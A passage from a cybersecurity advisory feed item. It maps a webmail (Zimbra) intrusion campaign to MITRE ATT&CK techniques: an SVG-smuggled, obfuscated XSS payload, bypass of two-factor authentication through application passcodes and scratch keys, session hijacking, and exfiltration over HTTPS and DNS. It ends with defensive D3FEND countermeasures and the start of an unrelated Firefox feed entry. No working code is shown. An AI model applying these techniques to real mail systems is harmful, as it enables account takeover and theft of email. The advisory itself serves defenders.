</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Addons Blog: Firefox 153 WebExtensions API updates]]></title>
<description><![CDATA[We had a bumper release of WebExtensions API updates in Firefox 153. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: userScripts.execute() and the new publicSuffix API. We’re covering those con...]]></description>
<link>https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</guid>
<pubDate>Thu, 23 Jul 2026 16:06:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
